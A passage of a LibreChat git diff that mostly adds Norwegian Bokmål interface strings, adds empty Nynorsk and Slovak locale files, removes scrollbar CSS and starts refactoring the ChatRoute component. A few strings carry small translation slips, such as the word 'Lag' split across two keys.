"com_error_google_tool_conflict": "Bruk av innebygde Google-verktøy støttes ikke sammen med eksterne verktøy. Deaktiver enten de innebygde eller de eksterne verktøyene.", "com_error_heic_conversion": "Konvertering av HEIC-bilde til JPEG mislyktes. Prøv å konvertere bildet manuelt eller bruk et annet format.", @@ -360,6 +371,7 @@ "com_error_moderation": "Innholdet du sendte inn ble flagget av vårt moderasjonssystem. Vi kan ikke fortsette med dette emnet. Rediger meldingen din eller start en ny samtale.", "com_error_no_base_url": "Ingen base-URL funnet. Oppgi en og prøv igjen.", "com_error_no_user_key": "Ingen nøkkel funnet. Oppgi en nøkkel og prøv igjen.", + "com_error_refusal": "Responsen ble avslått av sikkerhetsfiltere. Skriv om på meldingen din og prøv igjen. Dersom denne feilmeldingen forekommer ofte imens du bruker Claude Sonnet 4.5 eller Opus 4.1, kan du prøve Sonnet 4, som har andre bruksrestriksjoner.", "com_file_pages": "Sider: {{pages}}", "com_file_source": "Fil", "com_file_unknown": "Ukjent fil", @@ -368,9 +380,12 @@ "com_files_download_progress": "{{0}} av {{1}} filer", "com_files_downloading": "Laster ned filer", "com_files_filter": "Filtrer filer ...", + "com_files_filter_by": "Filtrer filer etter...", "com_files_no_results": "Ingen resultater.", "com_files_number_selected": "{{0}} av {{1}} valgt", "com_files_preparing_download": "Forbereder nedlasting ...", + "com_files_result_found": "{{count}} resultater funnet", + "com_files_results_found": "{{count}} resultater funnet", "com_files_sharepoint_picker_title": "Velg filer", "com_files_table": "Fil-tabell", "com_files_upload_local_machine": "Fra lokal datamaskin", @@ -421,6 +436,7 @@ "com_nav_chat_commands": "Samtalekommandoer", "com_nav_chat_commands_info": "Disse kommandoene aktiveres ved å skrive bestemte tegn i begynnelsen av meldingen din. Hver kommando utløses av sitt angitte prefiks. Du kan deaktivere dem hvis du ofte bruker disse tegnene til å starte meldinger.", "com_nav_chat_direction": "Samtaleretning", + "com_nav_chat_direction_selected": "Chat retning: {{direction}}", "com_nav_clear_all_chats": "Fjern alle samtaler", "com_nav_clear_cache_confirm_message": "Er du sikker på at du vil tømme mellomlageret?", "com_nav_clear_conversation": "Fjern samtaler", @@ -428,9 +444,11 @@ "com_nav_close_sidebar": "Lukk sidefelt", "com_nav_commands": "Kommandoer", "com_nav_confirm_clear": "Bekreft fjerning", + "com_nav_control_panel": "Kontrollpanel", "com_nav_conversation_mode": "Samtalemodus", "com_nav_convo_menu_options": "Samtalemenyvalg", "com_nav_db_sensitivity": "Desibelfølsomhet", + "com_nav_default_temporary_chat": "Midlertidig Chat som standard", "com_nav_delete_account": "Slett konto", "com_nav_delete_account_button": "Slett kontoen min permanent", "com_nav_delete_account_confirm": "Slett konto – er du sikker?", @@ -464,6 +482,7 @@ "com_nav_info_code_artifacts": "Aktiverer visning av eksperimentelle kodeartefakter ved siden av samtalen.", "com_nav_info_code_artifacts_agent": "Aktiverer bruk av kodeartefakter for denne agenten. Som standard legges det til tilleggsinstruksjoner for bruk av artefakter, med mindre \"Egendefinert prompt-modus\" er aktivert.", "com_nav_info_custom_prompt_mode": "Når aktivert, vil standard systemprompt for artefakter ikke bli inkludert. Alle instruksjoner for å generere artefakter må gis manuelt i denne modusen.", + "com_nav_info_default_temporary_chat": "Når dette er påskrudd vil nye chatter starte med \"midlertidig chat\" som standard. Midlertidige chatter blir ikke lagret til historikken din.", "com_nav_info_enter_to_send": "Når aktivert, vil et trykk på `ENTER` sende meldingen din. Når deaktivert, vil et trykk på Enter legge til en ny linje. Du må da trykke `CTRL + ENTER` / `⌘ + ENTER` for å sende.", "com_nav_info_fork_change_default": "`Kun synlige meldinger` inkluderer bare den direkte stien til den valgte meldingen. `Inkluder relaterte grener` legger til grener langs stien. `Inkluder alt til/fra her` inkluderer alle tilknyttede meldinger og grener.", "com_nav_info_fork_split_target_setting": "Når aktivert, vil forgreningen starte fra målmeldingen til den siste meldingen i samtalen, i henhold til den valgte atferden.", @@ -473,6 +492,7 @@ "com_nav_info_save_draft": "Når aktivert, vil teksten og vedleggene du skriver inn bli lagret lokalt som et utkast. Utkastet er tilgjengelig selv om du laster siden på nytt eller bytter samtale. Utkastet slettes når meldingen er sendt.", "com_nav_info_show_thinking": "Når aktivert, vil tenke-nedtrekksmenyene vises som standard, slik at du kan se KI-ens resonnement i sanntid. Når deaktivert, vil de være lukket for et renere grensesnitt.", "com_nav_info_user_name_display": "Når aktivert, vil brukernavnet ditt vises over hver melding du sender. Når deaktivert, vil du bare se \"Du\" over meldingene dine.", + "com_nav_keep_screen_awake": "Hold skjermen på gjennom generering av respons", "com_nav_lang_arabic": "Arabisk (العربية)", "com_nav_lang_armenian": "Armensk (Հայերեն)", "com_nav_lang_auto": "Automatisk gjenkjenning", @@ -491,16 +511,20 @@ "com_nav_lang_german": "Tysk (Deutsch)", "com_nav_lang_hebrew": "Hebraisk (עברית)", "com_nav_lang_hungarian": "Ungarsk (Magyar)", + "com_nav_lang_icelandic": "Islandsk", "com_nav_lang_indonesia": "Indonesisk (Indonesia)", "com_nav_lang_italian": "Italiensk (Italiano)", "com_nav_lang_japanese": "Japansk (日本語)", "com_nav_lang_korean": "Koreansk (한국어)", "com_nav_lang_latvian": "Latvisk (Latviski)", + "com_nav_lang_lithuanian": "Litauisk", "com_nav_lang_norwegian_bokmal": "Norsk bokmål", + "com_nav_lang_norwegian_nynorsk": "Norsk nynorsk", "com_nav_lang_persian": "Persisk (فارسی)", "com_nav_lang_polish": "Polsk (Polski)", "com_nav_lang_portuguese": "Portugisisk (Português)", "com_nav_lang_russian": "Russisk (Русский)", + "com_nav_lang_slovak": "Slovensk", "com_nav_lang_slovenian": "Slovensk", "com_nav_lang_spanish": "Spansk (Español)", "com_nav_lang_swedish": "Svensk (Svenska)", @@ -516,8 +540,18 @@ "com_nav_log_out": "Logg ut", "com_nav_long_audio_warning": "Lengre tekster vil ta lengre tid å behandle.", "com_nav_maximize_chat_space": "Maksimer samtaleplass", + "com_nav_mcp_access_revoked": "Tilbakekalling av MCP servertilgang vellykket.", "com_nav_mcp_configure_server": "Konfigurer {{0}}", + "com_nav_mcp_connect": "Koble til", + "com_nav_mcp_connect_server": "Koble til {{0}}", + "com_nav_mcp_reconnect": "Koble til på nytt", + "com_nav_mcp_status_connected": "Tilkoblet", "com_nav_mcp_status_connecting": "{{0}} - Kobler til", + "com_nav_mcp_status_disconnected": "Frakoblet", + "com_nav_mcp_status_error": "Feil", + "com_nav_mcp_status_initializing": "Starter", + "com_nav_mcp_status_needs_auth": "Trenger Auth", + "com_nav_mcp_status_unknown": "Ukjent", "com_nav_mcp_vars_update_error": "Feil ved oppdatering av egendefinerte MCP-brukervariabler.", "com_nav_mcp_vars_updated": "Egendefinerte MCP-brukervariabler ble oppdatert.", "com_nav_modular_chat": "Aktiver bytte av endepunkter midt i en samtale", @@ -538,6 +572,7 @@ "com_nav_setting_balance": "Saldo", "com_nav_setting_chat": "Samtale", "com_nav_setting_data": "Datakontroll", + "com_nav_setting_delay": "Forsinkelse (s)", "com_nav_setting_general": "Generelt", "com_nav_setting_mcp": "MCP-innstillinger", "com_nav_setting_personalization": "Personalisering", @@ -555,6 +590,7 @@ "com_nav_theme_dark": "Mørkt", "com_nav_theme_light": "Lyst", "com_nav_theme_system": "System", + "com_nav_toggle_sidebar": "Skru sidebar av/på", "com_nav_tool_dialog": "Assistentverktøy", "com_nav_tool_dialog_agents": "Agentverktøy", "com_nav_tool_dialog_description": "Assistenten må lagres for at verktøyvalg skal vedvare.", @@ -605,17 +641,27 @@ "com_ui_action_button": "Handlingsknapp", "com_ui_active": "Aktiv", "com_ui_add": "Legg til", + "com_ui_add_code_interpreter_api_key": "Legg til kodetolk API nøkkel", + "com_ui_add_first_bookmark": "Klikk på en chat for å legge til", + "com_ui_add_first_mcp_server": "Lag din første MCP server for å komme i gang", + "com_ui_add_first_prompt": "Lag din første prompt for å komme i gang", "com_ui_add_mcp": "Legg til MCP", "com_ui_add_mcp_server": "Legg til MCP-server", "com_ui_add_model_preset": "Legg til en modell eller forhåndsinnstilling for et ekstra svar.", "com_ui_add_multi_conversation": "Legg til flersamtale", + "com_ui_add_special_variables": "Legg til spesialvariable", + "com_ui_add_web_search_api_keys": "Legg til nettsøk API-nøkler", "com_ui_adding_details": "Legger til detaljer", + "com_ui_additional_details": "Flere detaljer", "com_ui_admin": "Admin", "com_ui_admin_access_warning": "Deaktivering av admin-tilgang til denne funksjonen kan forårsake uventede UI-problemer. Hvis lagret, kan dette kun tilbakestilles via konfigurasjonsfilen (librechat.yaml).", "com_ui_admin_settings": "Admin-innstillinger", + "com_ui_admin_settings_section": "Admininnstillinger - {{section}}", "com_ui_advanced": "Avansert", "com_ui_advanced_settings": "Avanserte innstillinger", "com_ui_agent": "Agent", + "com_ui_agent_api_keys": "Agent API-nøkler", + "com_ui_agent_api_keys_description": "Lag API-nøkler for å få tilgang til agenter via API", "com_ui_agent_category_aftersales": "Ettersalg", "com_ui_agent_category_finance": "Finans", "com_ui_agent_category_general": "Generelt", @@ -631,6 +677,17 @@ "com_ui_agent_deleted": "Agenten ble slettet.", "com_ui_agent_duplicate_error": "Det oppstod en feil under duplisering av agenten.", "com_ui_agent_duplicated": "Agenten ble duplisert.", + "com_ui_agent_handoff_add": "Legg til overleveringsagent", + "com_ui_agent_handoff_description": "Beskrivelse av overlevering", + "com_ui_agent_handoff_description_placeholder": "f.eks., Overfør til dataanalytiker for statistisk analyse", + "com_ui_agent_handoff_info": "Konfigurer agenter som denne agenten kan overføre samtaler til når spesifikk ekspertise er nødvendig", + "com_ui_agent_handoff_info_2": "Hver overlevering lager et overføringsverktøy som tillater sømløs ruting til spesialistagenter med kontekst.", + "com_ui_agent_handoff_max": "Maksgrensen på {{0}} overleveringsagenter er nådd", + "com_ui_agent_handoff_prompt": "Gjennomføringsinnhold", + "com_ui_agent_handoff_prompt_key": "Innholdsparameter navn (standard: \"instruksjoner\")", + "com_ui_agent_handoff_prompt_key_placeholder": "Merk innholdet som er sendt (standard: \"instruksjoner\")", + "com_ui_agent_handoff_prompt_placeholder": "Fortell denne agenten hvilket innhold den skal generere og videreføre til overleveringsagenten. Du må legge til noe her for å skru på denne funksjonen.", + "com_ui_agent_handoffs": "Agentoverleveringer", "com_ui_agent_name_is_required": "Agentnavn er påkrevd.", "com_ui_agent_recursion_limit": "Maks agentsteg", "com_ui_agent_recursion_limit_info": "Begrenser hvor mange steg agenten kan ta i en kjøring før den gir et endelig svar. Standard er 25 steg. Et steg er enten en API-forespørsel eller bruk av et verktøy.", @@ -652,12 +709,23 @@ "com_ui_agents": "Agenter", "com_ui_agents_allow_create": "Tillat oppretting av agenter", "com_ui_agents_allow_share": "Tillat deling av agenter", + "com_ui_agents_allow_share_public": "Tillat offentlig deling av agenter", "com_ui_agents_allow_use": "Tillat bruk av agenter", "com_ui_all": "alle", "com_ui_all_proper": "Alle", "com_ui_analyzing": "Analyserer", "com_ui_analyzing_finished": "Ferdig med å analysere", "com_ui_api_key": "API-nøkkel", + "com_ui_api_key_copied": "API-nøkler kopiert til utklippstavlen", + "com_ui_api_key_create_error": "Kunne ikke lage API-nøkkel", + "com_ui_api_key_created": "Oppretting av API-nøkkel vellykket", + "com_ui_api_key_delete_error": "Kunne ikke slette API-nøkkel", + "com_ui_api_key_deleted": "Sletting av API-nøkkel vellykket", + "com_ui_api_key_name": "Navn på nøkkel", + "com_ui_api_key_name_placeholder": "Min API-nøkkel", + "com_ui_api_key_name_required": "Navn på API-nøkkel påkrevd", + "com_ui_api_key_warning": "Husk å kopiere API-nøkkelen din nå, du vil ikke kunne se den igjen!", + "com_ui_api_keys_load_error": "Kunne ikke laste inn API-nøkler", "com_ui_archive": "Arkiver", "com_ui_archive_delete_error": "Sletting av arkivert samtale mislyktes.", "com_ui_archive_error": "Arkivering av samtale mislyktes.", @@ -674,6 +742,7 @@ "com_ui_assistants_output": "Assistent-utdata", "com_ui_at_least_one_owner_required": "Minst én eier er påkrevd.", "com_ui_attach_error": "Kan ikke legge ved fil. Opprett eller velg en samtale, eller prøv å laste siden på nytt.", + "com_ui_attach_error_disabled": "FIlopplasting er deaktivert for dette endepunktet", "com_ui_attach_error_openai": "Kan ikke legge ved assistentfiler til andre endepunkter.", "com_ui_attach_error_size": "Filstørrelsesgrensen er overskredet for endepunktet:", "com_ui_attach_error_type": "Filtypen støttes ikke for endepunktet:", @@ -690,6 +759,7 @@ "com_ui_azure": "Azure", "com_ui_azure_ad": "Entra ID", "com_ui_back": "Tilbake", + "com_ui_back_to_builder": "Tilbake til bygger", "com_ui_back_to_chat": "Tilbake til samtale", "com_ui_back_to_prompts": "Tilbake til prompter", "com_ui_backup_code_number": "Kode #{{number}}", @@ -701,10 +771,12 @@ "com_ui_basic": "Grunnleggende", "com_ui_basic_auth_header": "Grunnleggende autorisasjonshode", "com_ui_bearer": "Bearer", + "com_ui_beta": "Beta", "com_ui_bookmark_delete_confirm": "Er du sikker på at du vil slette dette bokmerket?", "com_ui_bookmarks": "Bokmerker", "com_ui_bookmarks_add": "Legg til bokmerker", "com_ui_bookmarks_add_to_conversation": "Legg til i gjeldende samtale", + "com_ui_bookmarks_count_selected": "Bokmerker, {{count}} valgt", "com_ui_bookmarks_create_error": "Det oppstod en feil under oppretting av bokmerket.", "com_ui_bookmarks_create_exists": "Dette bokmerket finnes allerede.", "com_ui_bookmarks_create_success": "Bokmerket ble opprettet.", @@ -719,52 +791,88 @@ "com_ui_bookmarks_title": "Tittel", "com_ui_bookmarks_update_error": "Det oppstod en feil under oppdatering av bokmerket.", "com_ui_bookmarks_update_success": "Bokmerket ble oppdatert.", + "com_ui_branch_created": "Oppretting av gren vellykket", + "com_ui_branch_error": "Kunne ikke opprette gren", + "com_ui_branch_message": "Lag en gren fra denne responsen", + "com_ui_by_author": "av {{0}}", "com_ui_callback_url": "Tilbakekallings-URL", "com_ui_cancel": "Avbryt", "com_ui_cancelled": "Avbrutt", "com_ui_category": "Kategori", + "com_ui_change_version": "Endre versjon", "com_ui_chat": "Samtale", "com_ui_chat_history": "Samtalehistorikk", + "com_ui_chats": "Samtaler", + "com_ui_check_internet": "Sjekk din internettforbindelse", "com_ui_clear": "Fjern", "com_ui_clear_all": "Fjern alle", + "com_ui_clear_browser_cache": "Tøm nettleserbufferen", + "com_ui_clear_presets": "Tøm forhåndsinnstillinger", + "com_ui_clear_search": "Tøm søk", + "com_ui_click_to_close": "Klikk her for å lukke", + "com_ui_click_to_view_var": "Klikk her for å se {{0}}", "com_ui_client_id": "Klient-ID", "com_ui_client_secret": "Klienthemmelighet", "com_ui_close": "Lukk", "com_ui_close_menu": "Lukk meny", + "com_ui_close_settings": "Lukk innstillinger", + "com_ui_close_var": "Lukk {{0}}", "com_ui_close_window": "Lukk vindu", "com_ui_code": "Kode", + "com_ui_collapse": "Skjul", "com_ui_collapse_chat": "Skjul samtale", + "com_ui_collapse_thoughts": "Skjul tanker", "com_ui_command_placeholder": "Valgfritt: Skriv inn en kommando for prompten, ellers vil navnet bli brukt.", "com_ui_command_usage_placeholder": "Velg en prompt med kommando eller navn.", "com_ui_complete_setup": "Fullfør oppsett", "com_ui_concise": "Kortfattet", + "com_ui_configure": "Konfigurer", "com_ui_configure_mcp_variables_for": "Konfigurer variabler for {{0}}", "com_ui_confirm": "Bekreft", "com_ui_confirm_action": "Bekreft handling", "com_ui_confirm_admin_use_change": "Endring av denne innstillingen vil blokkere tilgang for administratorer, inkludert deg selv. Er du sikker på at du vil fortsette?", "com_ui_confirm_change": "Bekreft endring", "com_ui_connecting": "Kobler til", + "com_ui_contact_admin_if_issue_persists": "Kontakt en adiministrator dersom problemet vedvarer", "com_ui_context": "Kontekst", + "com_ui_context_filter_sort": "Filtrer og sortér etter kontekst", "com_ui_continue": "Fortsett", "com_ui_continue_oauth": "Fortsett med OAuth", + "com_ui_control_bar": "Kontroller bar", "com_ui_controls": "Kontroller", + "com_ui_conversation": "samtale", + "com_ui_conversation_label": "{{tittel}} samtale", + "com_ui_conversations": "samtaler", + "com_ui_convo_archived": "Samtale arkivert", "com_ui_convo_delete_error": "Sletting av samtale mislyktes.", + "com_ui_convo_delete_success": "Sletting av samtale vellykket", "com_ui_copied": "Kopiert!", "com_ui_copied_to_clipboard": "Kopiert til utklippstavlen", + "com_ui_copy": "Kopier", "com_ui_copy_code": "Kopier kode", "com_ui_copy_link": "Kopier lenke", + "com_ui_copy_stack_trace": "Kopier stack trace", + "com_ui_copy_thoughts_to_clipboard": "Kopier tanker til utklippstavle", "com_ui_copy_to_clipboard": "Kopier til utklippstavlen", "com_ui_copy_url_to_clipboard": "Kopier URL til utklippstavlen", "com_ui_create": "Opprett", + "com_ui_create_api_key": "Opprett API-nøkkel", + "com_ui_create_assistant": "Lag assistent", "com_ui_create_link": "Opprett lenke", + "com_ui_create_mcp_server": "Lag MCP-server", "com_ui_create_memory": "Opprett minne", + "com_ui_create_new_agent": "L", "com_ui_create_prompt": "Opprett prompt", + "com_ui_create_prompt_page": "ag ", + "com_ui_created": "Opprettet", + "com_ui_creating": "Oppretter...", "com_ui_creating_image": "Oppretter bilde. Dette kan ta et øyeblikk.", "com_ui_current": "Gjeldende", "com_ui_currently_production": "For øyeblikket i produksjon", "com_ui_custom": "Egendefinert", "com_ui_custom_header_name": "Egendefinert overskriftsnavn", "com_ui_custom_prompt_mode": "Egendefinert prompt-modus", + "com_ui_dark_theme_enabled": "Mørkt tema aktivert", "com_ui_dashboard": "Oversikt", "com_ui_date": "Dato", "com_ui_date_april": "April", @@ -781,6 +889,7 @@ "com_ui_date_previous_30_days": "Siste 30 dager", "com_ui_date_previous_7_days": "Siste 7 dager", "com_ui_date_september": "September", + "com_ui_date_sort": "Sorter etter dato", "com_ui_date_today": "I dag", "com_ui_date_yesterday": "I går", "com_ui_decline": "Jeg godtar ikke", @@ -788,19 +897,30 @@ "com_ui_delete": "Slett", "com_ui_delete_action": "Slett handling", "com_ui_delete_action_confirm": "Er du sikker på at du vil slette denne handlingen?", + "com_ui_delete_agent": "Slett agent", "com_ui_delete_agent_confirm": "Er du sikker på at du vil slette denne agenten?", + "com_ui_delete_assistant": "Slett assistent", "com_ui_delete_assistant_confirm": "Er du sikker på at du vil slette denne assistenten? Dette kan ikke angres.", "com_ui_delete_confirm": "Dette vil slette", "com_ui_delete_confirm_prompt_version_var": "Dette vil slette den valgte versjonen for \"{{0}}\". Hvis ingen andre versjoner eksisterer, vil prompten bli slettet.", + "com_ui_delete_confirm_strong": "Dette vil slette {{title}}", "com_ui_delete_conversation": "Slette samtalen?", + "com_ui_delete_conversation_tooltip": "Slett samtale", + "com_ui_delete_mcp_server": "Ønsker du å slette MCP-serveren?", + "com_ui_delete_mcp_server_name": "Slett MCP-server {{0}}", "com_ui_delete_memory": "Slett minne", "com_ui_delete_not_allowed": "Sletteoperasjon er ikke tillatt.", + "com_ui_delete_preset": "Ønsker du å slette forhåndsinnstillingen", "com_ui_delete_prompt": "Slette prompten?", + "com_ui_delete_prompt_name": "Slett prompt - {{name}}", "com_ui_delete_shared_link": "Slette delt lenke?", + "com_ui_delete_shared_link_heading": "Slett delt lenke", "com_ui_delete_success": "Vellykket slettet", "com_ui_delete_tool": "Slett verktøy", "com_ui_delete_tool_confirm": "Er du sikker på at du vil slette dette verktøyet?", + "com_ui_delete_tool_save_reminder": "Verktøy fjernet. Lagre agenten for å ta i bruk endreinger.", "com_ui_deleted": "Slettet", + "com_ui_deleting": "Sletter...", "com_ui_deleting_file": "Sletter fil ...", "com_ui_descending": "Synkende", "com_ui_description": "Beskrivelse", @@ -808,37 +928,52 @@ "com_ui_deselect_all": "Fravelg alle", "com_ui_detailed": "Detaljert", "com_ui_disabling": "Deaktiverer ...", + "com_ui_done": "Ferdig", "com_ui_download": "Last ned", "com_ui_download_artifact": "Last ned artefakt", "com_ui_download_backup": "Last ned reservekoder", "com_ui_download_backup_tooltip": "Før du fortsetter, last ned reservekodene dine. Du vil trenge dem for å få tilgang igjen hvis du mister autentiseringsenheten din.", "com_ui_download_error": "Feil ved nedlasting av fil. Filen kan ha blitt slettet.", + "com_ui_download_error_logs": "Last ned feillogger", "com_ui_drag_drop": "Dra og slipp fil(er) her, eller klikk for å velge.", "com_ui_dropdown_variables": "Nedtrekksvariabler:", "com_ui_dropdown_variables_info": "Opprett egendefinerte nedtrekksmenyer for promptene dine: `{{variabelnavn:valg1|valg2|valg3}}`", "com_ui_duplicate": "Dupliser", + "com_ui_duplicate_agent": "Dupliser Agent", "com_ui_duplication_error": "Det oppstod en feil under duplisering av samtalen.", "com_ui_duplication_processing": "Dupliserer samtale ...", "com_ui_duplication_success": "Samtalen ble duplisert.", "com_ui_edit": "Rediger", "com_ui_edit_editing_image": "Redigerer bilde", "com_ui_edit_mcp_server": "Rediger MCP-server", + "com_ui_edit_mcp_server_dialog_description": "Unik Serveridentifikator: {{serverName}}", "com_ui_edit_memory": "Rediger minne", + "com_ui_edit_preset_title": "Rediger forhåndsinnstilling - {{title}}", + "com_ui_edit_prompt_page": "Rediger promptside", + "com_ui_editable_message": "Redigerbar melding", + "com_ui_editor_instructions": "Dra bildet for å flytte • Bruk zoom slider eller knapper for å justere størrelse", "com_ui_empty_category": "-", "com_ui_endpoint": "Endepunkt", "com_ui_endpoint_menu": "LLM-endepunktmeny", "com_ui_enter": "Enter", "com_ui_enter_api_key": "Skriv inn API-nøkkel", + "com_ui_enter_description": "Angi beskrivelse (valgfritt)", "com_ui_enter_key": "Skriv inn nøkkel", + "com_ui_enter_name": "Angi navn", "com_ui_enter_openapi_schema": "Skriv inn ditt OpenAPI-skjema her.", "com_ui_enter_value": "Skriv inn verdi", "com_ui_error": "Feil", "com_ui_error_connection": "Feil ved tilkobling til serveren, prøv å laste siden på nytt.", + "com_ui_error_message_prefix": "Feilmelding:", "com_ui_error_save_admin_settings": "Det oppstod en feil under lagring av admin-innstillingene.", + "com_ui_error_try_following_prefix": "Vennligst prøv en av de følgende", + "com_ui_error_unexpected": "Oops! Noe uforventet skjedde", "com_ui_error_updating_preferences": "Feil ved oppdatering av preferanser.", "com_ui_everyone_permission_level": "Alles tillatelsesnivå", "com_ui_examples": "Eksempler", + "com_ui_expand": "Utvid", "com_ui_expand_chat": "Utvid samtale", + "com_ui_expand_thoughts": "Utvidede tanker", "com_ui_export_convo_modal": "Eksporter samtale-modal", "com_ui_feedback_more": "Mer ...", "com_ui_feedback_more_information": "Gi ytterligere tilbakemelding", @@ -858,10 +993,12 @@ "com_ui_feedback_tag_unjustified_refusal": "Nektet uten grunn", "com_ui_field_max_length": "{{field}} må inneholde mindre enn {{length}} tegn", "com_ui_field_required": "Dette feltet er påkrevd.", + "com_ui_file_input_avatar_label": "Filinput for avatar", "com_ui_file_size": "Filstørrelse", "com_ui_file_token_limit": "Tokengrense for filer", "com_ui_file_token_limit_desc": "Angir maksimalt antall tokens som kan benyttes for filhåndtering. En høyere grense kan øke behandlingstid og kostnader.", "com_ui_files": "Filer", + "com_ui_filter_mcp_servers": "Filtrer MCP-servere etter navn", "com_ui_filter_prompts": "Filtrer prompter", "com_ui_filter_prompts_name": "Filtrer prompter etter navn", "com_ui_final_touch": "Siste finpuss", @@ -885,6 +1022,7 @@ "com_ui_fork_info_visible": "Dette alternativet forgrener kun de synlige meldingene, altså den direkte stien til målmeldingen, uten noen grener.", "com_ui_fork_more_details_about": "Se tilleggsinformasjon om forgrening-alternativet «{{0}}»", "com_ui_fork_more_info_options": "Se detaljert forklaring av alle forgrening-alternativer.", + "com_ui_fork_open_menu": "Åpne forgreningsmeny", "com_ui_fork_processing": "Forgrener samtale ...", "com_ui_fork_remember": "Husk", "com_ui_fork_remember_checked": "Ditt valg vil bli husket. Endre dette når som helst i innstillingene.", @@ -903,7 +1041,11 @@ "com_ui_good_evening": "God kveld", "com_ui_good_morning": "God morgen", "com_ui_group": "Gruppe", + "com_ui_handoff_instructions": "Overleveringsinstruksjoner", "com_ui_happy_birthday": "Det er min første bursdag!", + "com_ui_header_format": "Overskriftsformat", + "com_ui_hide": "Skjul", + "com_ui_hide_code": "Skjul kode", "com_ui_hide_image_details": "Skjul bildedetaljer", "com_ui_hide_password": "Skjul passord", "com_ui_hide_qr": "Skjul QR-kode", @@ -920,18 +1062,26 @@ "com_ui_import_conversation_file_type_error": "Importtypen støttes ikke.", "com_ui_import_conversation_info": "Importer samtaler fra en JSON-fil.", "com_ui_import_conversation_success": "Samtalene ble importert.", + "com_ui_import_conversation_upload_error": "Feil under opplasting av fil. Vennligst prøv igjen.", + "com_ui_importing": "Importerer", "com_ui_include_shadcnui": "Inkluder instruksjoner for shadcn/ui-komponenter", "com_ui_initializing": "Initialiserer...", "com_ui_input": "Inndata", "com_ui_instructions": "Instruksjoner", "com_ui_key": "Nøkkel", + "com_ui_key_required": "API-nøkkel påkrevd", + "com_ui_last_used": "Sist brukt", "com_ui_late_night": "God senkveld", "com_ui_latest_footer": "Én KI for alle.", "com_ui_latest_production_version": "Siste produksjonsversjon", "com_ui_latest_version": "Siste versjon", + "com_ui_leave_blank_to_keep": "La stå tomt for å beholde eksisterende", "com_ui_librechat_code_api_key": "Få din LibreChat Kodetolk API-nøkkel", "com_ui_librechat_code_api_subtitle": "Sikker. Flerspråklig. Fil-input/output.", "com_ui_librechat_code_api_title": "Kjør KI-kode", + "com_ui_light_theme_enabled": "Lyst tema aktivert", + "com_ui_link_copied": "Lenke kopiert", + "com_ui_link_refreshed": "Lenken er oppdatert", "com_ui_loading": "Laster ...", "com_ui_locked": "Låst", "com_ui_logo": "{{0}}-logo", @@ -939,8 +1089,12 @@ "com_ui_manage": "Administrer", "com_ui_marketplace": "Markedsplass", "com_ui_marketplace_allow_use": "Tillat bruk av markedsplass", + "com_ui_max": "Maks", + "com_ui_max_favorites_reached": "Maksimalt antall festede gjenstander nådd ({{0}}). Fjern noen gjenstander for å legge til flere.", + "com_ui_max_file_size": "PNG, JPG eller JPEG (maks {{0}})", "com_ui_max_tags": "Maksimalt antall er {{0}}. Bruker siste verdier.", "com_ui_mcp_authenticated_success": "MCP-serveren '{{0}}' ble autentisert.", + "com_ui_mcp_click_to_defer": "Klikk for å utsette – verktøyet vil være synlig via søk, men ikke lastet inn før det trengs", "com_ui_mcp_configure_server": "Konfigurer {{0}}", "com_ui_mcp_configure_server_description": "Konfigurer egendefinerte variabler for {{0}}", "com_ui_mcp_enter_var": "Skriv inn verdi for {{0}}", diff --git a/client/src/locales/nn/translation.json b/client/src/locales/nn/translation.json new file mode 100644 index 0000000000..0967ef424b --- /dev/null +++ b/client/src/locales/nn/translation.json @@ -0,0 +1 @@ +{} diff --git a/client/src/locales/sk/translation.json b/client/src/locales/sk/translation.json new file mode 100644 index 0000000000..0967ef424b --- /dev/null +++ b/client/src/locales/sk/translation.json @@ -0,0 +1 @@ +{} diff --git a/client/src/mobile.css b/client/src/mobile.css index 20eeb5d1da..0d31b41134 100644 --- a/client/src/mobile.css +++ b/client/src/mobile.css @@ -349,26 +349,6 @@ animation: shake 0.5s cubic-bezier(.36,.07,.19,.97) both; } -div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"] { - scrollbar-gutter: stable !important; - background-color: rgba(205, 205, 205, 0.66) !important; -} - -div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"]::-webkit-scrollbar { - width: 12px !important; -} - -div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"]::-webkit-scrollbar-thumb { - background-color: rgba(56, 56, 56) !important; - border-radius: 6px !important; - border: 2px solid transparent !important; - background-clip: padding-box !important; -} - -div[role="tabpanel"][data-state="active"][data-orientation="horizontal"][aria-labelledby^="radix-"][id^="radix-"][id$="-content-preview"]::-webkit-scrollbar-track { - background-color: transparent !important; -} - .cm-content:focus { outline: none !important; } diff --git a/client/src/routes/ChatRoute.tsx b/client/src/routes/ChatRoute.tsx index 0670ee1e85..dcb58c3f49 100644 --- a/client/src/routes/ChatRoute.tsx +++ b/client/src/routes/ChatRoute.tsx @@ -1,15 +1,28 @@ import { useEffect } from 'react'; -import { Spinner } from '@librechat/client'; -import { useParams } from 'react-router-dom'; import { useRecoilCallback, useRecoilValue } from 'recoil'; +import { Spinner, useToastContext } from '@librechat/client'; +import { useParams, useSearchParams } from 'react-router-dom'; import { Constants, EModelEndpoint } from 'librechat-data-provider'; import { useGetModelsQuery } from 'librechat-data-provider/react-query'; import type { TPreset } from 'librechat-data-provider'; +import { + useNewConvo, + useAppStartup, + useAssistantListMap, + useIdChangeEffect, + useLocalize, +} from '~/hooks'; import { useGetConvoIdQuery, useGetStartupConfig, useGetEndpointsQuery } from '~/data-provider'; -import { useNewConvo, useAppStartup, useAssistantListMap, useIdChangeEffect } from '~/hooks'; -import { getDefaultModelSpec, getModelSpecPreset, logger } from '~/utils'; +import { + getDefaultModelSpec, + getModelSpecPreset, + processValidSettings, + logger, + isNotFoundError, +} from '~/utils'; import { ToolCallsMapProvider } from '~/Providers'; import ChatView from '~/components/Chat/ChatView'; +import { NotificationSeverity } from '~/common'; import useAuthRedirect from './useAuthRedirect'; import temporaryStore from '~/store/temporary'; import store from '~/store'; @@ -29,10 +42,13 @@ export default function ChatRoute() { useAppStartup({ startupConfig, user }); const index = 0; + const [searchParams] = useSearchParams(); const { conversationId = '' } = useParams(); useIdChangeEffect(conversationId); const { hasSetConversation, conversation } = store.useCreateConversationAtom(index); const { newConversation } = useNewConvo(); + const { showToast } = useToastContext(); + const localize = useLocalize(); const modelsQuery = useGetModelsQuery({ enabled: isAuthenticated, @@ -71,14 +87,34 @@ export default function ChatRoute() { return; } - if (conversationId === Constants.NEW_CONVO && 